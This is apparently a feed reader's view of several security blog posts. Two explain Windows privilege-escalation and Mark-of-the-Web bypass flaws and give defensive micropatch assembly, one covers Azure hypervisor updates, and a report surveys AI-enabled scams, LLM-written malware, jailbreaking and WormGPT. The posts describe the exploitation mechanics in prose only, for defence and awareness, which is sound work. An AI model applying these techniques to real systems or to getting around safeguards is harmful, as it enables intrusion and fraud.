Reading view

There are new articles available, click to refresh the page.

Micropatches Released For Windows Error Reporting Service Elevation of Privilege (CVE-2023-36874)


With July 2023 Windows Updates, Microsoft brought a fix for CVE-2023-36874, a local privilege escalation vulnerability in Windows Error Reporting Service that was found both by Google TAG and CrowdStrike to be exploited in the wild in the previous month.

When security researcher Filip Dragovic released a proof of concept for this issue, we could reproduce it and start working on a patch.

The Vulnerability

In short, the Windows Error Reporting Service has a number of functions exposed via its RPC interface, so a local process can ask it to submit a chosen error report via function SubmitReport. This function impersonates the calling process' user and at some point launches wermgr.exe, one of the WER executables. Normally, wermgr.exe would be launched from C:\Windows\System32\, but since the service is impersonating the caller (i.e., the attacker), the CreateProcess function honors any symbolic links the caller may have in place. The attacker can, for instance, create a symbolic link mapping C:\ to an arbitrary location such as C:\Users\public\test , which will be used by the CreateProcess call. Consequently, the WER service would launch C:\Users\public\test\Windows\System32\wermgr.exe, attacker's executable with the same name - and according to the documented behavior of CreateProcess, the executable would be launched with the token of the service (not the impersonation token). In other words: as Local System.


The Official Patch

Microsoft's fix for this issue was very simple: they effectively disabled the SubmitReport function by immediately returning error "Not implemented" (0x80004001). This means that it is no longer possible to submit an error report via RPC - and perhaps this was never really needed anyway.

Our Micropatch

Our micropatch is logically identical to Microsoft's, and produces the same behavior.

MODULE_PATH "..\AffectedModules\wercplsupport.dll_10.0.17134.1967_Win10-1803_32-bit_u2021-05\wercplsupport.dll"
VULN_ID 7774
    PIT wercplsupport.dll!0x82eb        
        mov eax, 80004001h   ; Error code for "Not Implemented"
        jmp PIT_0x82eb       ; Jump directly to end of function


Let's see our micropatch in action. With 0patch disabled, the POC manages to create a new user "test" on the computer by launching a fake C:\Users\public\test\Windows\System32\wermgr.exe. With 0patch enabled, the POC fails to do that because wermgr.exe is not being launched from function SubmitReport at all.

Micropatch Availability

Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows 10 v21H1 
  2. Windows 10 v20H2
  3. Windows 10 v2004
  4. Windows 10 v1909
  5. Windows 10 v1809
  6. Windows 10 v1803
We were unable to reproduce this issue on Windows 7 and Server 2008 R2, and believe it is not exploitable there.
Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

We would like to thank Filip Dragovic for sharing their proof of concept, which made it possible for us to create a micropatch for this issue.

To learn more about 0patch, please visit our Help Center.


Azure Host OS Update with Hypervisor Hot Restart

Azure is Microsoft’s cloud computing offering which provides IaaS (infra as a service) virtual machines (VM), PaaS (platform as a service) containers and many other SaaS services (e.g., Azure Storge, Networking, etc.). Azure, being one of the largest cloud service providers, hosts millions of customer virtual machines (VMs) in our data centers. The operating system that runs on these hosts is a modified version of Windows called Cloud Host. I talked about this and the Azure Host OS architecture (incl. the root OS and the hypervisor) in an earlier blog post. In this blog post we will talk about how we update the operating system that runs on those hosts, in particular, a new advancement we made in updating the hypervisor called “Hypervisor Hot Restart (HHR)”.


Azure Host OS Updates Overview

Ensuring the security of the Azure hosts is critical to maintaining our customers’ trust as their applications run in a public cloud where customers have limited control over infrastructure updates. We ensure the security of the Azure host by patching and keeping it up to date with all the latest applicable security updates. These patches are typically rolled out every month with no disruption to the customer workloads. In addition, to security updates, we also update the Azure Host OS to provide new features and functionality to the customer VMs, e.g., new hardware generation support or new features such as Azure confidential computing.


Note: this blog focuses on internal Azure Host OS technical details and does not talk about Azure customer facing VM updates and control mechanisms. Those maintenance controls or scheduled events are documented for our customers on Azure’s website.


Different Azure Host OS update mechanisms

These are the most common types of Azure Host OS update technologies used in the Azure fleet.


Update Tech



Hot Patching

Best – in milliseconds. Not visible to customer VMs

Typically used for monthly security updates (e.g., MSRC). More detailed blog on internals here.  


Typically, 30 secs

Update the entire Azure Host OS. Paper in EuroSys 2021 for tech details.  

Live Migration [1]

Multiple seconds

Migrate the VM to a different node and potentially empty the node for Host OS updates or other needs.  

Hypervisor Hot Restart

Under a second

Update the entire Hypervisor. Useful when updating to a new version with the latest features.


[1] Future post on Live Migration internals


Introducing Hypervisor Hot Restart

With that introduction on Azure Host OS update technologies, we are going to do a deep dive into our latest and most advanced update technology: Hypervisor Hot Restart (HHR). HHR allows us to update and replace the hypervisor on a running system with sub second blackout time for customer VMs and importantly without dropping any packets. With Hypervisor Hot Restart, we can deploy new hypervisor features or fixes easily, providing enormous customer value. This is especially important in today's world, where security threats are becoming more prevalent and sophisticated.


Hypervisor Hot Restart in Action

This is a demonstration of how Hypervisor Hot Restart works in action. It showcases 4 VMs (Virtual Machines) that continue to run while the hypervisor is fully replaced under them. The network connection remains stable throughout the process and no packets are lost. Additionally, we showcase the speed of the restart process, with a maximum packet delay of 600 milliseconds. (Apologies for the low-quality GIF, the blogging platform has a low size limit. The original videos are attached to this blog post for offline viewing.) 




How Does Hypervisor Hot Restart Work?

On an Azure node there will be one active hypervisor running the host operating system and the guest VMs. When we are ready to update the hypervisor, this active hypervisor creates a service partition where the new updated or latest hypervisor is initialized. The other partitions hosting the customer VMs continue to run normally, uninterrupted.


Once the new-hypervisor initialization is complete, it is ready, and the active hypervisor can now call into the new-hypervisor. Next, the active hypervisor creates a mirroring thread for each active partition, which replicates all state associated with the partition to the new-hypervisor. All partitions remain running while the mirroring threads reflect important state changes from the active hypervisor to the new-hypervisor. This mirrored state includes information such as memory ownership, partition lifecycle changes, device ownership, and so on.


All partitions are then temporarily suspended, and their state is saved into an internal hypervisor buffer to capture any state that has not already been mirrored. This phase is known as the "blackout" period, during which neither the host OS nor any guest VMs are running. Control of the physical machine is then passed to the new-hypervisor, which becomes the new active hypervisor. This time is well under a second as you see in the demo.


Finally, the active hypervisor restores the host OS and guest VMs, and their virtual processors resume execution. We can then reclaim memory that was used by the old hypervisor but is no longer needed by the new hypervisor. This allows us to perform repeated HHR operations without exhausting system resources.


To help visualize this process, we have created an animation that demonstrates Hypervisor Hot Restart. (Apologies for the low-quality GIF, the blogging platform has a low size limit. The original videos are attached to this blog post for offline viewing.)




The development of Hypervisor Hot Restart enables easy deployment of new hypervisor versions with new features and capabilities without VM downtime. For example, we used Hypervisor Hot Restart to mitigate Retbleed, a side-channel vulnerability that can compromise data security in virtualized environments. We deployed the latest Hypervisor with HyperClear to protect against Retbleed, marking our first utilization of Hypervisor Hot Restart in the Azure Fleet. During this deployment, we were able to deploy HyperClear across the Azure Fleet with sub-second blackout.


With that we conclude our look into the internals of Azure Host OS updates with the latest Hypervisor Hot Restart technology. Expect to see more of Azure Host and Windows internals in future blogs.  



Meghna, Hari, Bruce (on behalf of the entire Core OS Team)

Micropatches Released For Windows Search Remote Code Execution (CVE-2023-36884)


Alongside July 2023 Windows Updates, Microsoft revealed the existence of a 0day that was detected in the wild and assigned it CVE-2023-36884. Without issuing a patch, they titled their original advisory "Office and Windows HTML RCE vulnerability" as exploitation was performed using malicious Word documents, and provided workarounds that could block exploitation.

Very little information was publicly available and exploit samples that were referenced by those who claimed to be in the know seemed convoluted, comprising numerous exploits of old known vulnerabilities. The main source of useful information was security researcher Will Dormann who invested a great deal of effort in publicly dissecting many of these samples and reviewing numerous sources to meticulously separate the wheat from the chaff (see his super long Twitter thread).

In absence of sufficient information on the vulnerability itself, we initially decided to issue a patch that  implemented one of the most effective workarounds recommended by Microsoft - the FEATURE_BLOCK_CROSS_PROTOCOL_FILE_NAVIGATION mitigation for all Office executables. This patch - free for everyone as the issue was still an unpatched 0day - enabled said workaround on all 0patch customers' computers so they didn't have to do that manually (or even know about this 0day).


The Official Patch

In August, Microsoft finally provided a patch for CVE-2023-36884, and updated their advisory to reveal that the issue lied in Microsoft Search and that "An attacker can plant a malicious file evading Mark of the Web (MOTW) defenses which can result in code execution on the victim system."

This, combined with Will's analysis of the changed behavior in Windows ZIP file extraction (mostly the latter, really), led us to conclusion that Microsoft's patch for CVE-2023-36884 was focused on randomizing the temporary path where files from a ZIP archive are extracted. Before the August update, a file.txt file opened directly from an ZIP file would be extracted to a location like:


For a local exploit script running on user's computer this is a predictable location, and if extraction process was terminated by exploit code at the right time, Windows would not put the Mark of the Web (MotW) on the file even if the ZIP file came from the Internet and should not be trusted. The absence of this mark on the extracted file would later result in no security warning when the file was opened. (In the actual exploit, the extracted file would be an executable launched without any warning.)

After the August Windows Update, file extraction was different. The same file would be extracted to this location:


Whereby the added GUID part is random and different each time. This blocks exploitation because the exploit code cannot guess the correct path of the extracted file and can therefore not launch it.

We located Microsoft's patch that introduced this change in zipfldr.dll, inside the CTempFileNameArray::_TryCreatingInPath function.



Our Micropatch

Our micropatch is logically identical to Microsoft's, and produces the same behavior with extracted files.

VULN_ID 7772
    PIT zipfldr.dll!0x180a0,zipfldr.dll!0x186ad,rpcrt4.dll!UuidCreate,rpcrt4.dll!RpcStringFreeW,rpcrt4.dll!UuidToStringW
    ;zipfldr.dll!0x180a0 __int16 *ConstructString(HINSTANCE, unsigned int, ...)
    ;zipfldr.dll!0x186ad ErrorBlock

        sub rsp, 0x50             ;Create shadowspace and 2 variables
        mov [rsp+0x48], rcx       ;Save rcx
        mov [rsp+0x40], rdx       ;Save rdx
        mov [rsp+0x38], r9        ;Save r9
        lea rcx, [rsp+0x28]       ;Move var1 to rcx to receive UUID
        call PIT_UuidCreate       ;Call UuidCreate
        cmp eax, 0                ;Check if call succeeded
        jne ERROR                 ;Jump to error block if result != 0
        lea rdx, [rsp+0x20]       ;Move var2 to rdx to receive pointer to UUID_STRING
        lea rcx, [rsp+0x28]       ;Move var1 with UUID to rdx
        call PIT_UuidToStringW    ;Call UuidToStringW to convert UUID on var1 to UUID_STRING and move it to var2
        cmp eax, 0                ;Check if the call succeeded
        jne ERROR                 ;Jump to error block if result != 0
        mov rcx, [rsp+0x48]       ;Restore rcx
        mov rdx, [rsp+0x40]       ;Restore rdx
        mov r9, [rsp+0x38]        ;Restore r9
        mov r8, [rsp+0x20]        ;Replace r8 with UUID_STRING from var2
        call PIT_0x180a0          ;Call ConstructString that output a full path pointer to rax
        mov qword[rsp+0x38], rax  ;save rax for later
        lea rcx, [rsp+0x20]       ;Get the pointer to UUID_STRING from var2 and move it to rcx
        call PIT_RpcStringFreeW   ;Free the UUID_STRING buffer
        mov rax, [rsp+0x38]       ;Restore rax we saved earlier
        jmp END                   ;Continue normal execution
    ERROR:                        ;Error block
        add rsp, 0x50             ;Restore the stack pointer
        jmp PIT_0x186ad           ;Jump to the error block
    END:                          ;Normal execution
        add rsp, 0x50             ;Restore stack pointer


Micropatch Availability

Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows 10 v21H1 
  2. Windows 10 v20H2
  3. Windows 10 v2004
  4. Windows 10 v1909
  5. Windows 10 v1809
  6. Windows 10 v1803
  7. Windows 7 (without ESU, with ESU year 1, 2 and 3)
  8. Windows Server 2008 R2 (without ESU, with ESU year 1, 2 and 3)
Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

We would like to thank Will Dormann for his extensive analysis of exploit samples, related publications, and Microsoft's patch, which made it possible for us to create a micropatch for this issue.

To learn more about 0patch, please visit our Help Center.


Insights into the AI-based cyber threat landscape

Executive summary

Both large language models (LLMs) and generative AI are undergoing a significant increase in their abilities and global utilization. While these tools offer undeniable utility to the general public, they also present potential risks of misuse. Furthermore, bad actors are also actively investigating tools like OpenAI’s ChatGPT. 

This document describes following aspects of an AI-based cyber threat landscape: 

  • How ChatGPT brand is misused for lures, scams, or other social engineering related threats 
  • How generative AI can be used to generate malware 
  • The potential pitfalls and changes it brings for security researchers and attackers 
  • How ChatGPT and generative AI can help security researchers in their daily struggles, providing insights, and bringing AI-based assistants to their toolset 

Generative AI and other forms of AI are going to play a key role in the cyber threat landscape. We expect that highly believable and multilingual texts misused for phishing and scams will be leveraged at scale, providing better opportunities for more advanced social engineering. 

On the other hand, we believe that generative AI as it stands now is unlikely to drastically alter the landscape of malware generation. Although many proofs of concept exist—mainly from security firms and nefarious actors testing the technology—it’s still a complex approach, especially when compared to existing, simpler methods. 

Despite the risks, it is important to recognize the value that generative AI brings to the table when used for legitimate purposes. We already see security and AI-based assistant tools with various levels of maturity and specialization emerging on the market.  

Given the rapid development of these tools and the widespread availability of open-source versions, we can reasonably anticipate a substantial improvement in their capabilities in the near future. 

This post can be also downloaded as a PDF here.

AI-generated lures and scams  

AI-generated lures and scams are having a moment. In the world of cybercriminals, AI now serves as the perfect use case for creating lures and carrying out phishing attempts and scams on victims. This is due to the fact that AI serves as a helping hand in writing various forms of texts–emails, social media content, e-shop reviews, SMS scams, and more. In general, AI also improves the credibility of social scams by providing trustworthy, authentic texts that eliminate the traditional phishing red flags, such as broken language and weird addressing. To our surprise, when we asked ChatGPT to make a lottery scam email more believable, it reduced the amount won, which can make the email slightly more believable.  

These threats, increasingly sophisticated and persistent, have begun to exploit advanced technologies, creating a new battlefield in the world of AI systems. In recent years, we’ve witnessed a number of societal issues and initiatives abused in a similar fashion—including (but not limited to) cryptocurrencies, Covid-19, and the war in Ukraine

In the case of ChatGPT, its popularity with hackers has less to do with their interest in AI than it does with the fact that ChatGPT has now become a household name. With the amount of attention ChatGPT receives these days, it would be surprising if attackers didn’t investigate how it can be used for their purposes. 

How is generative AI supporting the creation of lures and scams?

When examining the ChatGPT scams created by cybercriminals, it’s important to observe the language used in scams and how AI can support malware authors in creating more advanced texts than they’d otherwise be capable of writing. AI can easily improve grammatical mistakes, provide content in multiple languages, and create multiple variations of texts to improve their believability. 

ChatGPT can currently provide robust, well-written texts, but if an attacker wants to perform a sophisticated phishing attack, they’d need to insert the text into proper templates. This is because phishing attempts must appear to be credible and consist of more than just text. The attackers can choose from a plethora of existing phishing kits for sale where they obtain already functional and well-designed phishing webpages or emails. They can also use web archiving tools to create a copy of the web and change the appropriate URLs to phish the victims.  

For now, it’s necessary for attackers to build some aspects of their attempts manually and ChatGPT is not currently the ultimate “out of the box” solution for creating advanced malware. Users simply can’t ask for a copy of a website along with a code and styles to run it. That being said, we expect that multi-type models, allowing the combination of multiple LLM outputs, including images, audio, and video, will emerge in the near future. Furthermore, we can already see projects like LlamaIndex incorporating multiple sources of data, enhancing the capabilities even further. With that, we expect that multi-type LLMs will be able to create highly believable custom phishing and scam campaigns targeting a specific audience, including special offers, package deliveries, investment opportunities, scams during big events, and more. 


Malvertising—a portmanteau of “malicious advertising”—is a cybercrime tactic where malware is disseminated through online advertising. This technique cleverly exploits the extensive reach and interactive nature of digital ads to distribute harmful content. 

Unfortunately, attackers leverage ChatGPT’s name for these malicious vectors, with instances observed involving ads on popular platforms such as Facebook. For example, we have observed ads leading to articles and claiming massive income opportunities where all embedded links redirect to a fraudulent investment portal. 

People typically have to register or provide some kind of personal information. This serves as a first filter to lower the number of people who are not easily fooled by easy wins, get rich quick schemes, and so on. 

Once users provide their information, they become susceptible to a variety of malicious actions, such as identity theft, financial fraud, account takeovers, or being lured into further scams. The personal data collected can be misused or sold on the dark web, contributing to a broader ecosystem of cybercrime. Consequently, users who fall victim to malvertising may experience significant financial losses, compromised privacy, and emotional distress. 

The malvertising tactic is a good example of the ever-evolving strategies that cybercriminals employ to exploit trust and credibility. Recognizing such deceptive tactics is the first step towards mitigating the risks posed by these online threats. 

YouTube scams

YouTube, one of the world’s most popular online platforms, has not been spared from cybercrime. We have seen a significant increase in fake videos using prominent figures to trick users into harmful actions. What makes these scams especially insidious is their exploitation of trust, credibility, and human curiosity. 

The strategy often employed here is known as the “Appeal to authority” or “Argument from authority,” where cybercriminals use influential figures to supposedly validate the credibility of their message or investment opportunity. This manipulation can lead to the phishing of personal details, such as banking information, or directly coerce the victim into sending money to the attacker. 

In one particular instance, videos were created featuring Elon Musk to lure unsuspecting users. These videos often capitalize on Musk’s authority and influence in the tech and business world to legitimize the content. As we can see below, the motives of ChatGPT are often misused to lure users. 

The bad actors behind this case used a recording from an official stream discussing aspects of OpenAI and modified it to scam victims without the need of using voiceovers or deepfakes. At certain points in the video, a QR code is displayed that ostensibly offers access to exclusive content or rewards. In reality, this QR code redirects users to a scam page. These scam pages often take the form of cryptocurrency scams promising “easy” profits or elaborate phishing attempts that trick users into revealing sensitive information. 

The danger of these scams lies not only in the potential financial loss. Similarly to the malvertising, the theft of personal data can be used for further phishing attacks, account takeover, impersonation, or sold on the dark web

Although the use of AI was not necessary in this particular case, with increasing maturity of AI models like Midjourney, DALL-E or other purpose-built models we can only expect the use of artificially created fake images, videos, and audio, to increase over time both in quantity and quality. Tools like this can truly achieve remarkable results, even though they never actually happened. We are already seeing tools that allow users to quickly generate videos from a text script. It is still quite noticeable that the videos are not real, but that will become less visible in the future.


Typosquatting usually involves minor changes in URLs to redirect users to a different website, potentially leading to phishing attacks. Furthermore, typosquatting is also used to encourage users to install applications that seem legitimate but aren’t. An Android app named “Open Chat GBT : AI Chat Bot”, which is shown in the screenshot below, is a prime example of this tactic. This subtle alteration can go unnoticed by users who aren’t paying close attention. 

Browser extensions

Following the introduction and surge in popularity of ChatGPT, we witnessed the emergence of myriad browser extensions. While there are a number of legitimate extensions that have gained popularity, other malicious versions have used that popularity to lure in victims. 

To trick unsuspecting users, attackers create an extension with an enticing title that contains or closely resembles ChatGPT. The attackers leverage this confusion to convince users that the browser extension is genuine when, in reality, it’s a malicious piece of software. These apps often disseminate adware or stealers/spyware, with some even tricking users into subscribing to services that periodically drain fees from the victim’s credit card (this is also known as fleeceware). 

One such case was documented by Guardio, where threat actors copied the design of a legitimate extension called “ChatGPT for Google”. The malicious version of the extension spread by these bad actors steals the Facebook sessions and cookies of its victims.

Image credit: Guardio 

Fortunately, in the case of this malicious extension copycat, Google removed it from the Chrome Web Store shortly after it was reported by Guardio. 

Installers and cracks

When trying to download a popular tool or application that you want to use, it’s not uncommon to come across installers that contain malware. These installers are designed to trick users into installing harmful software on their devices without even realizing it. They often appear to be legitimate installers, using the name and appearance of the real tool or application that you’re interested in. 

We can observe malicious installers like this misusing the name of ChatGPT that give users the promise to install and use ChatGPT on their device. One such example discovered by Meta’s engineering team is NodeStealer, malware that steals passwords and cookies from browsers. 

Cracks or unofficial versions of software can be risky, as it’s possible to hide malware inside them. Once installed, the malware may allow hackers to access your personal information, steal your passwords, or even take control of your computer. 

Fake updates

While browsing the web, users might come across an article that appears to be essential to read. But upon clicking the link, a page is displayed claiming that the browser is out of date and needs an update to show the content. One example is a SocGholish campaign where ChatGPT related articles are, among other topics, misused by attackers to lure people into downloading a browser update which is in fact typically a remote access trojan (RAT) giving the attacker complete control of the infected device. We see these pages often hosted on WordPress sites with vulnerable plugins or sites with weak admin credentials. 

AI as a tool for malicious purposes 

Recognizing AI-generated content is harder than you might think

Large language models (LLMs)—the AI tools that power tools like ChatGPT—have been creating a lot of buzz from their beginning. People have been amazed by their capabilities, and they’ve undeniably opened up a wide range of new possibilities. At the same time, LLMs have also brought some troubles. For example, schools have quickly needed to figure out how to approach these newly available tools while effectively communicating their pros and cons to students.  

As a result, the need for a tool able to recognize AI-generated content emerged. We have analyzed a couple of projects that claim to be able to identify such content. Some of them have good results on basic prompts, but each one of them fails once any type of change is introduced. More specifically, generated text that was properly detected as 100% AI-generated was suddenly 100% human once ChatGPT was asked to introduce a couple of mistakes.  

When it comes to detecting AI-generated code or even binaries compiled from AI-generated sources, the problem becomes even trickier. Similar to detecting more traditional malware, this is yet another never-ending cat and mouse game between AI generators and detectors: Once the first detectors started popping up, new generators were created to avoid them. 

LLMs and malware 

Time and time again, it has been proven that LLMs can be used to generate malicious code. However, it should be noted that while LLMs can significantly simplify the process, some degree of understanding of the malware development process is required to get the desired output. There are also many available malware builders, obfuscators, and packers that make the LLM approach more cumbersome as they provide a tailored solution designed to create malware in such a way there is no active protection from malicious inputs. 

Our team tested LLMs to generate simple malicious portions of code for testing our products, and in doing so, we’ve put together some key takeaways:

1. Proof of recognizing AI-generated content is hard, and protection techniques (such as packing and obfuscation) makes it even harder

As mentioned above, the cat and mouse game between AI generators and detectors continues to play out. Since AI vendors continuously improve their models, detection models can become obsolete quite quickly.  

It is important to mention that LLMs don’t change the behavior of code, just how the code was created. So far, we haven’t seen LLMs come up with a novel, previously unseen technique to infect machines. It can only use an arsenal of already known techniques.

2. Malware authors need to figure out much more than just source code

They need to verify the proper functionality of the code, testing environments, obfuscation, distribution methods, and the infrastructure of the vector. What’s more, they’re responsible for preventing takedowns–at the end of the day, it’s cybercriminals’ intent to have the threat working for the longest possible period of time.  

Testing of the generated code is important as our attempts showed a rather high amount of cases where the code didn’t work as intended on the first go and these errors can be hard to notice at first glance. 

The task of covering their tracks must also be included in a hackers’ scope of responsibility. This often amounts to money laundering, anonymization, and generally operational security.

3. Creating malware still requires a fair amount of technical knowledge

When it comes to creating prompts for LLM malware, the prompts themselves need to be quite precise–technical knowledge of how to write the code is still needed, although non-sophisticated components can be more straightforward to write. Many real-world examples only showcase short snippets of the malware creation process due to restrictions in both the prompt length as well as the security filters implemented in the LLM systems to avoid misuse for malicious purposes. Because of this, it can still be difficult to make a functional, more complex codebase. As an interesting consequence a whole new type of job has emerged where creating prompts for the model is the primary activity. 

It’s necessary for the attacker to test the results, tweak the queries, and know what the ideal (malicious) solution should look like. It is important to recognize that the attacker must possess knowledge of AV protections, anti-sandbox and anti-debugging tricks, as well as obfuscation techniques to overcome security measures. For these reasons, LLM malware isn’t the top choice for exercising the creativity required to write these kinds of malicious code. 

Spambots, social media, and fake reviews 

The rise of AI technology has inadvertently led to an evolution in spam tactics. Spambots have been observed exploiting OpenAI’s ChatGPT system, which has a filtering mechanism designed to avoid generating offensive or inappropriate responses. 

Instead of generating a substantive response, ChatGPT returns an error message when asked to generate inappropriate content, such as: “As an AI language model, I cannot generate inappropriate or offensive content,” or “I’m sorry, I cannot generate inappropriate or offensive content.” 

In many cases, spambots and fake social media bot accounts inadvertently publish these error messages. This is because spambots (both their algorithms and the people behind them) don’t validate output from ChatGPT—instead, they use the response from ChatGPT directly, resulting in self-incrimination of the bot as these messages can be used as a telltale sign of spambot activity.

Image credit: Twitter 

Interestingly, we have also noticed spambots manipulating user reviews. Some entities copy a response directly from ChatGPT in an attempt to gain positive feedback or inflate product ratings. This highlights the evolving sophistication of spam strategies and the importance of maintaining vigilance in digital interactions.

Image credit: VICE 

Spambots try to systematically flood product listings with deceptive reviews that exaggerate positive aspects, artificially inflate ratings, and create a false perception of popularity and quality. Users rely heavily on reviews to make informed buying choices, and when manipulated by spambots, they may unknowingly purchase subpar products based on misleading information. 

Each of these examples goes to show that ChatGPT is consistently being used for malicious purposes. The quality of the ChatGPT textual outputs as well as its capability to generate many different wordings will make the detection of fake reviews harder for both the e-shops as well as humans. 

Generating other inappropriate results 

ChatGPT has a filtering system in place, but bad actors are still able to find ways around this in order to generate content for malicious purposes. Although it’s possible to get around the tool’s safeguards, this proves to be a timely task for hackers, who can save time simply by searching for queries using a traditional search engine. After all, there is a lot of “educational-use-only” malware on GitHub anyways.

It is possible that tools able to bypass the security filters, which is also called “jailbreaking”, will make the use of ChatGPT for malicious purposes more convenient. We can already see efforts like WormGPT, which is based on open-source LLM models and trained with malware in mind. Unlike other AI models that have implemented restrictions to combat abuse, WormGPT operates without ethical boundaries, making it more accessible even to novice cybercriminals.


Deepfakes are a concerning and emerging form of technology that can pose serious threats to individuals and society as a whole. As a direct application of AI for malicious purposes, these convincing and highly realistic videos can make it seem like someone said or did something they never actually did. This is done by changing and manipulating the appearance and voice of the individual using AI. 

Deepfakes can have far-reaching consequences, leading to public outrage, damaged reputations, and even social or political instability. Moreover, deepfakes can be used for identity theft or fraud, as scammers can create videos or images that look like someone you know, tricking you into sharing sensitive information or inadvertently sending money to the attacker. 

An example of this was the case of the deepfake video depicting Ukrainian President Volodymyr Zelenskyy that appeared online not long after the onset of the war in Ukraine. This was a highly politically motivated deepfake that surfaced on various social media platforms. 

We’ve also observed attempts to use deepfakes as defense arguments. In this case, a lawsuit was filed against Tesla by a car accident victim’s family who claimed that Tesla’s automated driving software failed, while Tesla supposedly argued that the driver ignored warnings and was playing a video game while driving. The family’s attorneys aimed to depose Musk about his recorded statements from 2016, but Tesla opposed the request by suggesting the Musk statements were deepfakes and that, as a result, he can’t be held responsible. 

In the wild

While LLMs offer immense assistance to individuals seeking help with their everyday struggles, the same goes for the bad actors. Despite the safeguards put in place, we can already see attempts to create proof of concepts using a specific set of prompts, experimenting with the tools to create malware. 

In multiple examples, Check Point Research provides evidence that threat actors are investigating the use of ChatGPT for creating malware. For instance, a user on an underground hacking forum shared his efforts to create a functional information stealer, as well as claiming they were successful with creating multiple strains and techniques from publicly available write-ups. In another attempts, Check Point Research tried to prompt ChatGPT themselves to generate snippets of code which could be used in malware. 

Kaspersky, on the other hand, chose a different approach when they used ChatGPT to try to identify phishing based on a URL. Although the LLMs are not mature enough to do this yet, it shows the potential of the technology. With additional training and finetuning, it could become a viable detection method. 

The attackers don’t hesitate to try new tools and they will thoroughly test LLMs capabilities, including ChatGPT or other emerging models like WormGPT, in attempts to generate code (and text) for malicious purposes. Even though possible, the process of generating malware is still cumbersome and other development methods, like copying code directly from Github or StackOverflow, are still more straightforward and easier. 

We experimented with generative AI in our testing environment, aiming to simulate behaviors usually associated with malware. However, we faced similar challenges in the process. Many of our attempts led to a high error rate in the generated code, which demanded expertise in identifying and resolving these errors. Additionally, when a prompt that could potentially be perceived as suspicious was introduced, the security filter was triggered, essentially blocking further prompts. This necessitated initiating an entirely new chat, which significantly reduced the convenience of the overall experience. 

We agree that ChatGPT can save time while producing simpler techniques for the testing environment. It could be utilized by a skilled person to produce better results with the right prompts, but we also expect this person to be well-funded in the field, using obfuscation and other protection techniques anyway. 

At this point, less savvy users will likely get frustrated in their attempts to generate malware, resulting in copying codes from Github and StackOverflow anyway, always walking the simplest path. However, when tools without security filtering and restrictions occur, like WormGPT, this might change rather quickly. 

How ChatGPT can serve as a tool for helping researchers 

While we’ve explained how LLMs can be used for malicious purposes, they can also be used for good and to support researchers in their work. When using the services of AI tools, it’s important to verify the output and ensure that you’re not using any internal company data. After all, anything that is entered into an AI tool can be used for further training and potentially lead to a leak. Having a third-party agreement or NDA can help combat this risk, but this is definitely not the case with a public service like ChatGPT nor any other tool that is offered for free. 

Supporting analysts in understanding and writing detections 

Security analysts can use ChatGPT to prepare detection rules for them or, alternatively, to explain the existing rules when they’re in doubt about what exactly it is what they do. 

Detection languages that allow researchers to detect patterns (for example, in malware or its behavior), including Yara, Suricata, or Sigma, don’t reach the analyst-quality level of rules when created by LLMs. For junior analysts, however, the provided template can be useful–they can take it as a starting point and improve the detections from that baseline. 

Presented below is a pre-formatted Yara rule template. It’s prepared for an analyst to input malicious strings discovered in a Portable Executable (PE) file that’s less than 100 KB. Accompanying explanations are also included. It’s far from perfect, but a junior analyst can proceed from this point and try to further improve the ruleset by submitting additional queries and searching online. 

AI-based assistant tools 

Many new projects are emerging that incorporate LLM-based tools in the form of AI-based assistant tools that can assist users with basic or more complex tasks alongside other tools. In general, AI-based assistants promise to speed up work while the user focuses more on important problem solving, which ultimately delivers efficiency and increased productivity. 

There are AI-based assistant tools for office-style work, such as Microsoft 365 Copilot or Google Duet AI, as well as more technical projects for tech-savvy users. These tools often possess an extensive knowledge base and can provide instant access to documentation, libraries, and examples. This means the user gets better suggestions, autocompletion, instant access to documentation, and examples. 

For malware analysts, AI-based assistants can help with understanding the assembly, the disassembled code, or debugging. They can provide insights into function calls, data structures, and control flow, which saves time and effort in the reverse engineering process. 

It’s important to note that the more specific the field is, the more difficult it may be to create a helpful assistant. This is the case in a specialized field like reverse engineering; in this scenario, the functionalities provided by an AI-based assistant can be limiting. However, we can only expect the AI-based assistants to improve and be incorporated into more tools and applications as time goes on. 

Here’s a non-exhaustive list of some of today’s AI-based assistants and their proposed functions:

  • VulChatGPT: Helps with finding potential vulnerabilities in binaries. 
  • Windbg Copilot: Allows users to use ChatGPT capabilities directly in Windows Debugger. 
  • GitHub Copilot: Suggests code and entire functions in real-time using the OpenAI Codex. 
  • Microsoft Security Copilot: Designed to help defenders by assisting with breach identification, incident response, and understanding collected data. 
  • Google Cloud Security AI Workbench: This specialized LLM introduced by Google is a collection of AI tools that are designed to help with point-in-time incident analysis, threat detection, and analytics. 

We see a great potential in the AI-based assistant tools, especially when they get finetuned and specialized over time. Even though we didn’t study all the aforementioned tools in practice and detail, we were able to test the capabilities of two red-teaming tools, namely PentestGPT and BurpGPT

PentestGPT provides code snippets/tools syntax that the tester can use and it advises further actions based on the output provided by the tester. We’ve found the maturity of the tool is currently low, discovering many bugs and incompatibilities, and it provides generic suggestions. 

BurpGPT is an extension for Burpsuite which sends the requests/responses to a GPT model for evaluation and gives info about discovered vulnerabilities. While testing the tool and browsing an online service, the extension transmitted data to OpenAI. However, we didn’t receive any results, likely due to the absence of detected vulnerabilities. 

With the cloud-based tools, we quickly learned that due to the volume of data being transferred and used in the prompts, the costs of running such tools rendered them too expensive for everyday use, especially given the low quality of outputs. 

Furthermore, the users of AI-based assistant tools should carefully read the terms of use, privacy policies, and/or contracts of the services. For the tools to operate, users have to provide potentially sensitive information, possibly going against their interests or, in case of using the tools in the company environment, against the company security policies.

Explaining the functionality of code 

